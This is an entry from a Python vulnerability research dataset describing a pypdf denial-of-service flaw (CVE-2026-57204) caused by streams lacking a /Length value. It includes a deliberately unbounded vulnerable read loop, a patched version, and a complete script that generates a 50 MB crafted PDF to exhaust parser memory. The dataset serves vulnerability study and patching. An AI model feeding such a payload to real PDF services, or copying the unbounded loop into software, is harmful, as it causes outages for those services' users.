VAITP Dataset

← Back to the dataset

CVE-2026-57204

pypdf: Crafted PDF causes Denial of Service via memory exhaustion.

  • CVSS 6.9
  • CWE-400
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.13.3, a maliciously crafted PDF can cause DoS. An attacker who uses this vulnerability can craft a PDF which leads to large memory usage, as MAX_DECLARED_STREAM_LENGTH is sometimes ignored. This requires parsing a content stream without a /Length value. This issue has been fixed in version 6.13.3.

CVSS base score
6.9
Published
2026-06-30
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.13.3 or later.

Vulnerable code sample

import io

# In the vulnerable library, a constant like this exists but is ignored
# when a stream's /Length attribute is missing.
MAX_DECLARED_STREAM_LENGTH = 1024 * 1024

def _read_stream_without_length(stream: io.BytesIO) -> bytes:
    # This function represents the flawed logic. It is supposed to read
    # until the 'endstream' marker.
    data = bytearray()
    while True:
        # Reads from the PDF stream in chunks.
        chunk = stream.read(65535)
        if not chunk:
            # Reached end of file without finding the marker.
            break

        # THE VULNERABILITY: data is appended without checking its total size
        # against MAX_DECLARED_STREAM_LENGTH. A malicious PDF can provide
        # gigabytes of data before the 'endstream' marker, causing
        # a denial-of-service through memory exhaustion.
        data.extend(chunk)

        # In a real implementation, a search for 'endstream' would occur here.
        # If found, the loop would terminate. The vulnerability is the
        # unbounded growth of `data` before that happens.
        if b"endstream" in data:
            break

    return bytes(data)

Patched code sample

import io

# In a real library, this would be a configurable setting. This constant
# represents the fix for the vulnerability: a hard limit on stream size.
# The vulnerability exists when no such limit is enforced.
MAX_STREAM_LENGTH = 10_000_000  # 10 MB limit for demonstration


def read_pdf_stream_safely(
    stream_obj: io.BytesIO, declared_length: int | None
) -> bytes:
    """
    Reads data from a PDF stream, fixing a DoS vulnerability.

    The vulnerability (as described in CVE-2026-57204, likely a placeholder ID)
    occurs when a stream has no declared '/Length'. A naive parser might read
    until an 'endstream' marker, consuming unlimited memory if the PDF is
    maliciously crafted.

    This function demonstrates the fix by:
    1. Checking any 'declared_length' against a maximum allowed value.
    2. When 'declared_length' is absent, reading data incrementally while
       continuously checking that the total size does not exceed the limit.
    """
    # FIX Part 1: Validate the declared length if it exists.
    if declared_length is not None and declared_length > MAX_STREAM_LENGTH:
        raise MemoryError(
            f"Declared stream length {declared_length} exceeds the maximum "
            f"allowed limit of {MAX_STREAM_LENGTH} bytes."
        )

    if declared_length is not None:
        # If length is declared and valid, it's safe to read that many bytes.
        return stream_obj.read(declared_length)
    else:
        # FIX Part 2: Read with a limit when length is not declared.
        # This is the core of the fix for streams without a /Length key.
        buffer = bytearray()
        while True:
            # Enforce the memory limit on each iteration.
            if len(buffer) > MAX_STREAM_LENGTH:
                raise MemoryError(
                    "Stream data without a declared length exceeds the "
                    f"maximum allowed size of {MAX_STREAM_LENGTH} bytes."
                )

            # Read a manageable chunk from the stream.
            chunk = stream_obj.read(4096)
            if not chunk:
                # This indicates a malformed stream that ends before the marker.
                raise ValueError("Unexpected end of stream before 'endstream' marker.")

            buffer.extend(chunk)

            # A simple check for the 'endstream' marker. A production-ready
            # implementation would be more robust, e.g., by using a sliding window
            # to avoid re-scanning the buffer.
            end_marker_pos = buffer.find(b"endstream")
            if end_marker_pos != -1:
                # Marker found, return the data before it, stripping trailing whitespace.
                return bytes(buffer[:end_marker_pos]).rstrip()

Payload

import os

# Define the size of the malicious content. 
# A large size is used to cause significant memory allocation, leading to a DoS.
# 50 MB is chosen as an example.
dos_content_size = 50 * 1024 * 1024 
dos_content = b"A" * dos_content_size

# This script constructs a PDF file with objects and calculates their byte offsets
# to create a valid cross-reference table.
pdf_parts = []
offsets = [0] * 5  # To store the byte offset of each object

# PDF Header
pdf_parts.append(b"%PDF-1.7\n%\n")

# Object 1: The document Catalog
offsets[1] = len(b"".join(pdf_parts))
pdf_parts.append(b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n")

# Object 2: The Pages collection
offsets[2] = len(b"".join(pdf_parts))
pdf_parts.append(b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n")

# Object 3: A single Page object
offsets[3] = len(b"".join(pdf_parts))
pdf_parts.append(b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n")

# Object 4: The malicious stream object.
# The dictionary is empty, crucially omitting the /Length key as per the CVE description.
offsets[4] = len(b"".join(pdf_parts))
pdf_parts.append(b"4 0 obj\n<< >>\nstream\n")
pdf_parts.append(dos_content)
pdf_parts.append(b"\nendstream\nendobj\n")

# The cross-reference (xref) table, which points to the start of each object.
xref_offset = len(b"".join(pdf_parts))
xref_table = "xref\n0 5\n0000000000 65535 f \n"
for i in range(1, 5):
    xref_table += f"{offsets[i]:010d} 00000 n \n"
pdf_parts.append(xref_table.encode('ascii'))

# The PDF trailer, which specifies the root object and the location of the xref table.
trailer = f"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n"
pdf_parts.append(trailer.encode('ascii'))

# Write the generated PDF parts to a file.
with open("dos_payload.pdf", "wb") as f:
    for part in pdf_parts:
        f.write(part)

Cite this entry

@misc{vaitp:cve202657204,
  title        = {{pypdf: Crafted PDF causes Denial of Service via memory exhaustion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-57204},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-57204/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::